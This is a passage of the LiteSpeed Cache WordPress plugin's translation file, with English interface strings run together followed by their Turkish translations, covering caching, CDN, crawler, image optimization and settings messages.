be used for this WordPress installation.The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.The current server is under heavy load.The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.The default login cookie is %s.The environment report contains detailed information about the WordPress configuration.The following options are selected, but are not editable in this settings page.The image compression quality setting of WordPress out of 100.The image list is empty.The latest data file isThe list will be merged with the predefined nonces in your local data file.The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.The network admin selected use primary site configs for all subsites.The network admin setting can be overridden here.The next complete sitemap crawl will start atThe queue is processed asynchronously. It may take time.The selector must exist in the CSS. Parent classes in the HTML will not work.The server will determine if the user is logged in based on the existence of this cookie.The site is not a valid alias on QUIC.cloud.The site is not registered on QUIC.cloud.Then another WordPress is installed (NOT MULTISITE) at %sThere is a WordPress installed for %s.There is proceeding queue not pulled yet.There is proceeding queue not pulled yet. Queue info: %s.These images will not generate LQIP.These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.These settings are meant for ADVANCED USERS ONLY.This action should only be used if things are cached incorrectly.This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.This can improve page loading time by reducing initial HTTP requests.This can improve quality but may result in larger images than lossy compression will.This can improve the page loading speed.This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.This enables the page's initial screenful of imagery to be fully displayed without delay.This is irreversible.This is to ensure compatibility prior to enabling the cache for all sites.This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.This may cause heavy load on the server.This message indicates that the plugin was installed by the server admin.This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.This option can help to correct the cache vary for certain advanced mobile or tablet visitors.This option enables maximum optimization for Guest Mode visitors.This option is bypassed because %1$s option is %2$s.This option is bypassed due to %s option.This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.This option will automatically bypass %s option.This option will remove all %s tags from HTML.This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.This process is automatic.This setting is %1$s for certain qualifying requests due to %2$s!This setting is useful for those that have multiple web applications for the same domain.This setting will edit the .htaccess file.This setting will regenerate crawler list and clear the disabled list!This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.This will Purge Front Page onlyThis will Purge Pages onlyThis will also add a preconnect to Google Fonts to establish a connection earlier.This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?This will clear EVERYTHING inside the cache.This will delete all cached Gravatar filesThis will delete all generated critical CSS filesThis will delete all generated image LQIP placeholder filesThis will delete all generated unique CSS filesThis will delete all localized resourcesThis will disable LSCache and all optimization features for debug purpose.This will disable the settings page on all subsites.This will drop the unused CSS on each page from the combined file.This will enable crawler cron.This will export all current LiteSpeed Cache settings and save them as a file.This will generate extra requests to the server, which will increase server load.This will generate the placeholder with same dimensions as the image if it has the width and height attributes.This will import settings from a file and override all current LiteSpeed Cache settings.This will increase the size of optimized files.This will inline the asynchronous CSS library to avoid render blocking.This will purge all minified/combined CSS/JS entries onlyThis will reset all settings to default settings.This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.To crawl the site as a logged-in user, enter the user ids to be simulated.To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.To do an exact match, add %s to the end of the URL.To enable the following functionality, turn ON Cloudflare API in CDN Settings.To exclude %1$s, insert %2$s.To generate a passwordless link for LiteSpeed Support Team access, you must install %s.To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.To match the beginning, add %s to the beginning of the item.To prevent %s from being cached, enter them here.To prevent filling up the disk, this setting should be OFF when everything is working.To randomize CDN hostname, define multiple hostnames for the same resources.To test the cart, visit the <a %s>FAQ</a>.To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.ToolToolboxTotalTotal ReductionTotal UsageTotal images optimized in this monthTrackbacks/PingbacksTrashed CommentsTrashed PostsTry GitHub VersionTuningTuning SettingsTurn OFFTurn ONTurn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.Turn ON to control heartbeat in backend editor.Turn ON to control heartbeat on backend.Turn ON to control heartbeat on frontend.Turn On Auto UpgradeTurn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.Tweet previewTweet thisUCSS InlineUCSS Selector AllowlistUCSS URI ExcludesURI ExcludesURI Paths containing these strings will NOT be cached as public.URLURL SearchURL list in %s queue waiting for cronUnable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.Unable to automatically add %1$s as a Domain Alias for main %2$s domain.Unique CSSUnknown errorUpdate %s nowUpgradeUpgraded successfully.UsageUse %1$s in %2$s to indicate this cookie has not been set.Use %1$s to bypass UCSS for the pages which page type is %2$s.Use %1$s to bypass remote image dimension check when %2$s is ON.Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.Use %s API functionality.Use CDN MappingUse Network Admin SettingUse Optimized FilesUse Original FilesUse Primary Site ConfigurationUse QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.Use QUIC.cloud online service to generate unique CSS.Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.Use external object cache functionality.Use keep-alive connections to speed up cache operations.Use latest GitHub Dev commitUse latest GitHub Dev/Master commitUse latest GitHub Master commitUse latest WordPress release versionUse original images (unoptimized) on your siteUse the format %1$s or %2$s (element is optional).Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.Useful for above-the-fold images causing CLS (a Core Web Vitals metric).UsernameUsing optimized version of file. VPIValue rangeVariables %s will be replaced with the configured background color.Variables %s will be replaced with the corresponding image properties.Vary CookiesVary GroupVary for Mini CartView %1$s version %2$s detailsView .htaccessView Site Before CacheView Site Before OptimizationViewport ImageViewport Image GenerationViewport ImagesViewport Images CronVisit LSCWP support forumVisit the site while logged out.WARNINGWARNING: The .htaccess login cookie and Database login cookie do not match.WaitingWaiting to be CrawledWant to connect with other LiteSpeed users?Watch Crawler StatusWe are good. No table uses MyISAM engine.We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.WebP file reduced by %1$s (%2$s)WebP saved %sWelcome to LiteSpeedWhat is a group?What is an image group?When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.When disabling the cache, all cached entries for this site will be purged.When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.When minifying HTML do not discard comments that match a specified pattern.When this option is turned %s, it will also load Google Fonts asynchronously.When you use Lazy Load, it will delay the loading of all images on a page.Who should use this preset?Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.Wildcard %s supported.With ESI (Edge Side Includes), pages may be served from cache for logged-in users.With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.WooCommerce SettingsWordPress Image Quality ControlWordPress valid interval is %s seconds.WpW: Private Cache vs. Public CacheYearly archiveYou can just type part of the domain.You can list the 3rd party vary cookies here.You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.You can request a maximum of %s images at once.You can turn shortcodes into ESI blocks.You can use this code %1$s in %2$s to specify the htaccess file path.You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible.You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.You have too many requested images, please try again in a few minutes.You just unlocked a promotion from QUIC.cloud!You need to turn %s on and finish all WebP generation to get maximum result.You need to turn %s on to get maximum result.You will be unable to Revert Optimization once the backups are deleted!Your %s Hostname or IP address.Your API key / token is used to access %s APIs.Your Email address on %s.Your IPYour application is waiting for approval.Your domain has been forbidden from using our services due to a previous policy violation.Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.Your server IPZero, orcategoriescookieshttps://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationjust nowpixelsprovide more information here to assist the LiteSpeed team with debugging.right nowrunningsecondstagsthe auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.unknownuser agentsPO-Revision-Date: 2024-08-03 09:29:27+0000
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n > 1;
X-Generator: GlotPress/4.0.1
Language: tr
Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)
 %s önceSrrada %1$s %2$s dosya kaldıBu eylem için %1$s eklentisi sürüm %2$s gereklidir.%d saat%d saat%d dakika%d dakika%d saniye%s Uzantı%s dosyası okunamıyor.%s dosyası yazılabilir değil.%s grup%s gruplar%s görsel%s görseller%s önerilir.Bu ayarın çalışması için %s'nin AÇIK olması gerekir.(tasarruf yok)(optm değil)(optm).htaccess yolu<a href="%1$s" %2$s>Sürüm %3$s detaylarını görüntüle</a> ya da <a href="%4$s" %5$s target="_blank">şimdi güncelle</a>.<p>Lütfen aşağıdaki kodları %1$s 'in başlangıcına ekleyin/değiştirin:</p> %2$sWordpress bu özelliği çalıştırdığında tümünü temizle görevini gerçekleştirecektir.0 Değerindeki TTL e önbellek lememeyi belirtir.Her görüntünün bir yedeği optimize edilmeden önce kaydedilir.AJAX Önbellek TTL'iAPIGravatarları (Globally Recognized Avatars) önbelleğe alarak hızı hızlandırır.EtkinleştirEksik boyutları ekleYeni bir CDN URL'si ekleSimülasyon için yeni çerez ekleyinKara listeye ekleLazy-Load Görsellerine Stil EklemeYalnızca Yönetici IP'siAdmin IP leriGelişmişGelişmiş (Önerilen)Gelişmiş AyarlarGelişmiş seviye daha fazla ayrıntı kaydeder.SonraQUIC.cloud görsel optimizasyon sunucusu optimizasyonu tamamladıktan sonra optimize edilmiş görselleri çekmesi için sitenizi bilgilendirecektir.Önbelleğin genel olarak çalıştığını doğruladıktan sonra, lütfen sepeti test edin.AgresifTakma ad, başka bir QUIC.cloud hesabı tarafından kullanılıyor.Tüm QUIC.cloud hizmet kuyrukları temizlendi.Tüm GeçicilerTüm kategoriler varsayılan olarak önbelleklenir.Tüm sayfalarSon yazılar bileşenini içeren tüm sayfalarTüm etiketler varsayılan olarak önbelleklenir.Listedeki IP'lerin (her satırda bir adet) tarayıcıları ile belirli işlemleri yapmalarına izin verin.Zaten önbelleğe alınmışMiktar veya stok durumundaki değişikliklerde daima ürün ve kategorileri önbellekten temizle.Önbellek denetimini belirtmek için isteğe bağlı ikinci bir parametre kullanılabilir. Ayırmak için boşluk kullanınBu işlemi atlamak için bir sorgu dizesi olan %s ekleyin.%1$s ön ayarı %2$s uygulandıÖn Ayarı UygulaMevcut tüm kara liste kayıtlarını silmek istediğinizden emin misiniz?Tüm optimize edilmiş görselleri yok etmek istediğinize emin misiniz?Tüm bulut düğümlerini temizlemek istediğinizden emin misiniz?Bu hizmet için en yakın bulut sunucusunu yeniden tespit etmek istediğinize emin misiniz?Tüm görsel yedeklerini silmek istediğinizden emin misiniz?Tüm ayarları varsayılan ayarlara döndürmek istediğinizden emin misiniz?Kritik CSS ile Eşzamansız CSS YüklemeYazar ArşiviOtomatik TaslakYayım / Güncelleme İçin otomatik temizleme kurallarıCron ile otomatik talepCron-esaslı bir sıra ile arka planda kritik CSS oluşturulması.Cron-esaslı kuyrukla arka planda otomatik benzersiz CSS oluşturulması.Otomatik yükseltmeGörseller, CSS, Javascript vb. dahil olmak üzere dokümandaki tüm URL'ler için DNS ön çözümlemesini otomatik olarak etkinleştir.LQIP'yi cron temelli bir kuyrukla arka planda otomatik olarak oluşturun.Optimize edilmiş görselleri getirdikten sonra otomatik olarak orijinal resimlerin yedeklerini kaldır.Cron aracı ile otomatik olarak optimizasyon görevi isteyin.Avatar listesi kuyrukta güncelleştirme bekliyorYönetim paneli .htaccess yoluYönetim paneli heartbeat kontrolüYönetim paneli heartbeat TTL%2$s ön ayarı uygulanmadan önce %1$s yedek oluşturuldu.TemelTemel görsel yer tutucusuÖnceMevcut en iyi WordPress performansıBeta TestiEngelleme ListesiKara listedeÖnbelleğe alınabilir olmadığı için kara listeye alındı%1$s veya %2$s 'den herhangi biri kabul edilebilir.Hem tam bağlantılar ve hem de kısmi metinler kullanılabilir.Hem tam hem kısmi kelimeler kullanılabilir.TarayıcıTarayıcı önbelleğiTarayıcı önbellek ayarlarıTarayıcı Önbellek TTLTarayıcı önbelleği, statik dosyalarınızı kullanıcının tarayıcısında yerel olarak depolar.Statik dosyalar için tekrarlanan istekleri azaltmak için bu ayarı aktif hale getirin.Varsayılan olarak %s gri renkli bir yer tutucu kullanılacaktır.Varsayılan olarak Hesabım, Ödeme ve Sepet sayfaları otomatik olarak önbellek dışında bırakılır. WooCommerce ayarlarında sayfa ilişkilendirmelerinin yanlış yapılandırılması bazı sayfaların hatalı bir şekilde hariç tutulmasına neden olabilir.Bu seçenek tasarımı gereği güncel olmayan içerik sunabilir. Bu sizin için uygun değilse bu seçeneği etkinleştirmeyin.URL bazlı CCSSCDNCDN bant genişliğiCDN AyarlarıCDN BağlantısıKullanılacak CDN bağlantısı. Örneğin, %sCSS & JS BirleştirmeCSS'i birleştirHarici ve satır içi CSS birleştirmeHariç Tutulacak CSSCSS'i küçültCSS ayarlarıCSS, JS ve HTML KüçültmeCSS/JS ÖnbelleğiÖnbellekAdmin araç çubuğunu önbelleğe alYorum formunu önbelleğe alYorumcu önbelleğiÖnbellek Kontrol AyarlarıÖnbellekten geldiGiriş Yapmış Kullanıcıları ÖnbellekleGiriş sayfası önbelleğiÖnbellekte yoktuMobili önbelleğiREST API'yi önbelleğiÖnbellek durumuWP-Admin'i önbelleğe alÖnbellek anahtarı tamsayı veya boş olmayan bir metin olmalıdır, %s verildi.Önbellek anahtarı boş bir metin olmamalıdır.Wordpress REST API tarafından yapılan önbellek istekleri.Yerleşik yorum formu ESI bloğunu önbelleğe al.Yedek için kullanılan disk alanını hesaplaOrijinal Resimlerin Kapladığı Disk Boyutunu HesaplaYedekler başarıyla hesaplandı.%1$s klasörü oluşturulamadı. Hata: %2$sVazgeçKategorisiAyar başarıyla değiştirildi.Bu ayarda yapılan değişiklikler zaten oluşturulmuş LQIP'lere uygulanmaz. Var olan LQIP'leri yeniden oluşturmak için lütfen önce yönetici çubuğu menüsünden şunu uygulayın: %s .Durumu kontrol etŞuradan açık IP'imi kontrol etBüm alt sitelerde birincil sitenin yapılandırmasını kullanmak için bu seçeneği işaretleyin.Tümünü temizleTarayıcı haritasını temizleTamamlanmamış Verileri TemizleTüm otomatik kayıt taslaklarını temizleTüm artık posta meta kayıtlarını temizleyinTüm yazı revizyonlarını temizleTüm spam yorumları temizleTümü başarıyla temizlendi.Tüm geri izleme ve pingbackleri temizleTüm geçici ayarları temizleTüm geçiciler başarıyla temizlendi.Tüm çöpe taşınmış yorumları temizleTüm çöpe taşınmış yazı ve sayfaları temizleOtomatik taslaklar başarıyla temizlendi.Süresi dolmuş tüm geçici ayarları temizleTüm süresi dolmuş geçiciler başarıyla temizlendi.Sahipsiz posta metasını başarıyla temizleyin.Yazı sürümleri başarıyla temizlendi.Son %2$s revizyon hariç olmak üzere, %1$s günden daha eski revizyonları temizleSpam yorumlar başarıyla temizlendi.Geri izlemeler ve pingback'ler başarıyla temizlendi.Çöpe gönderilmiş yorumlar başarıyla temizlendi.Çöpe gönderişmiş yazılar ve sayfalar başarıyla temizlendi.Tüm Kritik CSS dosyaları temizlendi.Tüm Gravatar dosyaları temizlendi.Tüm LQIP dosyaları temizlendi.Tüm benzersiz CSS dosyaları temizlendi.Tüm yerelleştirilmiş kaynak girişleri temizlendi.Tamamlanmamış veriler başarıyla temizlendi.Kayıtları Temizle%1$s geçersiz görsel temizlendi.Ayarlamak için buraya tıklayın.Tekrar tespit amacıyla tüm düğümleri temizlemek için tıklayın.Optimize edilmiş sürüme geçmek için tıklayın.Orijinal (optimize edilmemiş) sürüme geçmek için tıklayın.Bulut hatasıBulut sunucusu, hız sınırlaması nedeniyle mevcut isteği reddetti. Lütfen daha sonra tekrar deneyin.Bulut sunucusu çekilmemiş görseller nedeniyle talebi redetti. Lütfen önce görselleri çekin.CloudflareCloudflare APICloudflare API kapalı olarak ayarlandı.Cloudflare ÖnbelleğiCloudflare Etki AlanıCloudflare ZoneQuery String'leri daraltCSS dosyaları ve satır içi CSS kodlarını birleştirin.Tüm yerel JS dosyalarını tek bir dosyada birleştir.Yorumlar desteklenmektedir. Yorum satırına dönüştürmek için bir satırı %s ile başlatın.Cloudflare ile başarılı bir şekilde bağlantı kuruldu.Tebrikler! Dosyanız optimize edilmişTebrikler, tümü alındı!Bağlantı TestiInnoDB'ye çevirBaşarıyla InnoDB'ye dönüştürüldü.Çerez  AdıÇerez SimülasyonuÇerez Değerleri%2$s içinde %1$s bulunamadı.Tarama aralığıTarayıcıTarayıcı Cron İşleriTarayıcı genel ayarlarıTarayıcı KayıtlarıTarayıcı durumuTarayıcı sunucu yöneticisi tarafından devreden çıkartıldı.Tarayıcı devre dışı bırakma listesi temizlendi! Tüm tarayıcılar etkin olarak ayarlandı! Tarayıcı(lar)Bir yazı oluşturun, ana sayfanın doğru göründüğünden emin olun.Mevcut isteği devam ettirmek için krediniz yeterli değildir.Kritik CSS DosyalarıKritik CSS KurallarıCron AdıMevcut %s içeriğiHizmette şu an yer alan bulut düğümleriMevcut tarama başladıGeçerli görsel gönderi kimliği konumuMevcut sınırŞu anki sunucu yüküSunucu zamanı %s.Mevcut site haritası taraması başladı%2$s tarihinden itibaren geçerli durum %1$s.Geçerli durum %s.Şu anki aktif tarayıcıŞu an WebP dosyasını optimize edilmiş sürümü kullanılıyor.Şu an dosyanın optimize edilmiş sürümü kullanılıyor.Şu an WebP dosyasının (optimize edilmemiş) sürümü kullanılıyor.Şu an dosyanın orijinal (optimize edilmemiş) sürümü kullanılıyor.Özel site haritasıVeri tabanı optimizasyon seçenekleriDNS Ön BağlantısıDNS PrefetchDNS ön çözümleme kontrolüStatik dosyalar için DNS PrefetchGünlük arşivBaşlangıçVeritabanıVeritabanı İyileştiricisiVeri tabanı özetiVeri tabanı tablo motoru dönüştürücüsüKullanılacak veritabanıGünHata Ayıklama YardımcılarıHata ayıklama düzeyiHata Ayıklama GünlüğüHata Ayıklama AyarlarıHata Ayıklama Dizesi Hariç TutulanlarHariç tutulan URI'ler hata ayıklamasıDahil edilen URI'ler hata ayıklamasıVarsayılanVarsayılan ÖnbellekVarsayılan akış TTL'iVarsayılan Ana Sayfa TTLVarsayılan HTTP durum kodu sayfası TTLVarsayılan Nesne ÖmrüVarsayılan Özel Önbellek TTLVarsayılan Genel Önbellek TTL değeriVarsayılan REST TTLÖnbelleğe alınan nesneler için varsayılan TTL.Varsayılan yol şu%1$s için varsayılan bağlantı noktası %2$s.Varsayılan değerErtelendiSayfa ayrıştırılana veya etkileşime hazır hale gelene kadar geciktirmek kaynak yükleme çatışmalarını engellemeye, performansı iyileştirerek daha düşük bir FID (Core Web Vital metriği) elde etmeye yardımcı olur.Seçicisini kullanarak ekran dışı HTML öğelerinin işlenmesini erteleyin.GecikmeliOrijinal görsellere ait tüm yedekleri silTüm optimizasyon verilerini yok etTüm optimizasyon verileri başarıyla yok edildi.Ürün miktarı ve ürün stok durumundaki değişikliklerin ürün sayfalarını ve bunlarla ilişkili kategori sayfalarını nasıl etkileyeceğini belirler.Geliştirme ModuGeliştirici modu üç saat sonra otomatik olarak kapatılacaktır.Geliştirici modu %s saniye sonra otomatik olarak kapatılacaktır.Devre Dışı BırakTüm özellikleri devre dışı bırakÖnbelleği EtkisizleştirGecikmeli Görsel Yüklemeyi EtkisizleştirVPI'yı EtkisizleştirSunucu yükünü azaltmak için WordPress heartbeat aralığını devreden çıkartın.CCSS'i sayfalar için ayrı ayrı değil gönderi türüne göre oluşturmak için bu seçeneği devre dışı bırakın. Bu önemli miktarda CCSS kota tasarrufu sağlar, fakat sitenizde sayfa oluşturucu kullanılıyorsa hatalı CSS stillerine neden olabilir.Devre dışı bırakılmışWebP dosyası başarılı bir şekilde devredışı bırakıldı.Bunu devre dışı bırakmak AJAX tarafından çalıştırılan WordPress görevlerinin çalışmasını durdurmasına neden olabilir.Bu seçeneği kaldırmak performansı olumsuz etkileyebilir.GizleUyarıyı görmezden gelKategorileri Önbelleğe AlmaCookie leri ÖnbelleklemeGrupları Önbelleğe AlmaQuery String'leri önbelleğe almaÖnbellekleme KurallarıEtiketleri önbelleğe almaURI'leri önbelleğe almaTarayıcı kimlik bilgilerini önbelleğe almaMiktar veya stok durumundaki değişikliklere göre kategorileri temizleme.Alan AdıEski sürüme dönüş önerilmez. Yeniden düzenlenmiş kodlar nedeniyle önemli hatalara neden olabilir.Sorgu Dizesini Hariç BırakESIESI Nonce anahtarlarıESI AyarlarıESI dinamik sayfanızın bazı bölümlerini, daha sonra bütün sayfayı oluşturmak için bir araya getirilen ayrı parçalar olarak oluşturmanızı sağlar. Bir başka deyişle ESI sayfada boşluklar oluşturmanızı, daha sonra bu boşlukları önbelleğe kişiye özel olarak alınan içeriklerle doldurabilmenizi, kendi TTL'i ile genele açık olarak önbelleğe alabilmenizi veya hiç önbelleğe almamanızı sağlar.Geliştiriciler için ESI örneğiDüzenleyici heartbeatDüzenleyici heartbeat TTLHTML kodunda %s öz niteliğine sahip öğeler hariç tutulacaktır.Html kodu içerisinde %s öz niteliğine sahip elemanlar hariç tutulacaktır.E-Posta AdresiTüm Önbelleği KaldırKara listeyi boşaltÖn belleği etkinleştirESI'yi EtkinleştirViewport Görüntüleri otomatik oluşturma cron'unu etkinleştirin.Aynı alan adında hem HTTP hem de HTTPS kullanıyorsanız ve önbellek düzensizliklerini fark ediyorsanız bu seçeneği etkinleştirin.EtkinleştirWebP dosyası başarıyla aktif edildi.WordPress için LiteSpeed Cache'i etkinleştirmek ağ için ön belleği etkinleştirecektir.Sona erdiMotorBulut hizmetlerinin bu siteye alan adı yerine doğrudan IP'den ulaşabilmesi için site IP adresini girin. Bu, DNS ve CDN aramalarından kaynaklanan ek yükü ortadan kaldırır.Hata: %1$s ayarları uygulanamadıBasitDakikada BirGelişmiş İçindeki Her Şey DahilAgresif İçindeki Her Şey DahilTemel İçindeki Her Şey DahilBasit İçindeki Her Şey DahilÖrnekÖrnek kullanımı:Örnek test senaryoları:Hariç Tutulacak YollarAyarları Hariç TutHariç TutulacakSüresi Dolmuş GeçicilerDışarı AktarDışarı Aktarma AyarlarıAşırıBaşarısız oldu%s dosyası yedeklenemedi, değişiklikler iptal edildi.Cloudflare ile iletişim kurulamadıQUIC.cloud sunucusuyla iletişim kurulamadıAvatar tablosu oluşturulamadı.Kurulum bitirmek için <a %s> LiteSpeed Wiki'sindeki tablo oluşturma kılavuzunu</a> takip edin.%s dosyası içeriği okunamadı.WordPress ile istekte bulunurken hata oluştuYükseltme başarısız oldu.%s 'e yazma başarısız oldu.Hızlı kuyruk kullanımı%s Dosyası yazılabilir değil.DosyalarSayfa türü oluşturma başına UCSS için %s filtresi kullanılabilir.%s filtresi destekleniyor.Klasör yok: %sKlasör yazılabilir değil: %s.Yazı tipi görünüm optimizasyonuZamanlanmış temizlemenin başlatılması joker karakterli URL'ler için gecikebilir.ÖrneğinÖrneğin, %1$s, %3$s için %2$s saniyelik bir TTL tanımlar.Örneğin, %s saydam bir yer tutucu için kullanılabilir.Örneğin, sitedeki her sayfa farklı biçimlendirmeye sahipse, kutuya %s değerini girin. Sitede her sayfa için ayrı ayrı CSS dosyaları saklanacaktır.Bu nedenle, her şeyin düzgün çalıştığından emin olmak için siteyi test edin.Zorla önbelleğe alınacaklarGenele açık önbellek URI'lerini zorlaCron'a zorlaZorla önbelleğe alınabilirÖn sayfaÖn yüz .htaccess yoluKullanıcı ön yüzü heartbeat kontrolüÖn yüz heartbeat TTLGenelGenel AyarlarLQIP'leri arka planda oluşturGeçerli Kullanıcı için bağlantı oluşturUCSS oluşturSepet boş olmadığında mini sepet için ayrı bir değişken önbellek kopyası oluşturun.%s de oluşturulduGlobal API anahtarı / API belirteci (token)Genel GruplarQUIC.cloud gösterge paneline gidinEklentiler listesine gitQUIC.cloud sunucusundan iyi haberler varGoogle reCAPTCHA otomatik olarak atlanacak.Gravatar ön belleğiGravatar ön belleği cronGravatar ön belleği TTLAğ düzeyinde önbelleğe alınan gruplar.MisafirKonuk moduKonuk modu IP'leriKonuk Modunda hariç tutulan JS'lerKonuk modu tarayıcı kimlikleriKonuk Modu ve Konuk OptimizasyonuMisafir Modu test edilemedi.Misafir Modu testi geçti.Misafir Modu, otomatik bir misafirin ilk ziyareti için her zaman önbelleğe alınabilir bir açılış sayfası sağlar ve önbellekteki değişiklikleri AJAX üzerinden güncellemeyi dener.Misafir Modu test sonucuKonuk optimizasyonuDeğiştirilecek HTML öz niteliğiHTML yorumları koruHTML Lazy Load seçicileriHTML küçültHTML AyarlarıYalnızca HTTPS kaynakları.HeartbeatHeartbeat kontrolüLiteSpeed'ten yüksek performanslı sayfa önbellekleme ve site optimizasyonuDaha Yüksek TTLGeçmişÖnbellekteAnasayfaSunucuCSS/JS optimizasyonunun neden olduğu sorunlar nasıl düzeltilir.Öte yandan gerçekleştirilen olası tüm özelleştirmeleri bilmenin bir yolu yoktur.Htaccess yapılandırma seçeneğiyle eşleşmedi.Htaccess kuralı: %sBen zaten bir inceleme yaptımEğer %1$s, %2$s konumunda ise %3$s ile bu alan doldurulmalıdır!AÇIKsa, ziyaretçileriniz yeni bir önbellek kopyası hazır olana kadar sayfanın önbellekteki eski kopyasını görecektir. Sonraki ziyaretler için sunucu yükünü azaltır. KAPALI ise ziyaretçi beklerken sayfa dinamik olarak oluşturulur.Her web uygulaması aynı çerez bilgisini kullanıyorsa, sunucu kullanıcının oturup açıp açmadığını karıştırabilir.Eğer sadece WordPress site ön belleği temizlenecekse Tümünü Temizle'yi kullanın.%1$s olarak ayarlanmışsa, yer tutucu yerleştirilmeden önce %2$s yapılandırması kullanılacaktır.Bu seçenek %s olarak ayarlanırsa işlem ön planda yapılır, bu da sayfanın yüklenmesini yavaşlatabilir.Kategori adı bulunamazsa, kategori kaydedilirken listeden çıkartılacaktır.Oturum açma çerezi yakın zamanda değiştirildiyse lütfen oturumunu kapatıp tekrar açın.Etiket kısa ismi bulunamazsa, etiket kaydedilirken listeden çıkartılacaktır.Bu, 30’dan küçük bir sayıya ayarlanırsa, akışlar önbelleğe alınmaz.OpenLiteSpeed kullanılıyorsa, değişikliklerin etkili olması için sunucunun yeniden başlatılması gerekir.Bir %1$s soketi kullanıyorsanız, %2$s, %3$s olarak ayarlanmalıdır.Herhangi bir sorunla karşılaşırsanız, lütfen destek mesajınızdaki rapor numarasına bakınız.Yukarıdaki ayarlardan herhangi birini KAPALI konuma getirirseniz, lütfen ilgili dosya türlerini %s kutusundan kaldırın.Litespeed' dışında bir sunucuya geçiş yaparsanız, bu eklentiyi devre dışı bırakabilirsiniz.Sitenizde belirli kullanıcı yetkileri kullanıyorsanız ve sitenizde bazı yerlerin diğer kullanıcı yetkililerine sahip olanların görmesini istemiyorsanız özel Değişken Grubu belirleyebilirsiniz. Örneğin bir yönetici değişken grubunun belirtilmesi sonucunda diğer kullanıcı yetkilerinde olanlar varsayılan ortak bir sayfayı görüntülerken, yönetici değişken grubunda bulunan kullanıcılar özel olarak önbelleğe alınmış sayfayı görüntülemesini sağlayabilirsiniz. (Örnek, "yazıyı düzenle" bağlantıları gibi)Temanız mini sepeti güncellemek için JS kullanmıyorsa, doğru sepet içeriğini görüntülemek için bu seçeneği etkinleştirmeniz gerekir.Bu class isimlerine sahip Iframe çerçevelerinde 'lazy load' kullanılmayacaktır.Ana elemanları bu class isimlerine sahip Iframe çerçevelerinde 'lazy load' kullanılmayacaktır.Önbelleğe alırken bazı query string'leri görmezden gel (LSWS %s gereklidir)Resim BilgisiGörsel OptimizasyonuGörsel optimizasyon ayarlarıGörsel optimizasyon özetiGörsel küçük resmi grup boyutlarıGörsel grupları toplamıGörseller çekildiBu CSS class adlarını içeren görseller 'lazy load' kullanılarak yüklenmeyecektir.Ana elemanları bu class isimlerine sahip görsellerde 'lazy load' kullanılmayacaktır.Talep edilmeyen görsellerResimleri optimize etmek için bildirResimler iyileştirildi ve kaydedildiİsteğe hazır görsellerİstenen resimlerGörev aracı çalışıyor ise resimler otomatik olarak çekilecektir.Aktarİçeri Aktar/Dışarı AktarAktarma AyarlarıDosya hatası nedeniyle içeri aktarma başarısız oldu.%s ayar dosyası başarıyla içeriye aktarıldı.HTTP/HTTPS Uyumluluğunu GeliştirinÖnbelleğe alma yoluyla wp-admin hızını artırın. (Süresi dolmuş verilerle karşılaşabilir)Tarafından geliştirildiOlası yükseltme hatalarını önlemek için %2$s sürümüne yükseltmeden önce %1$s veya 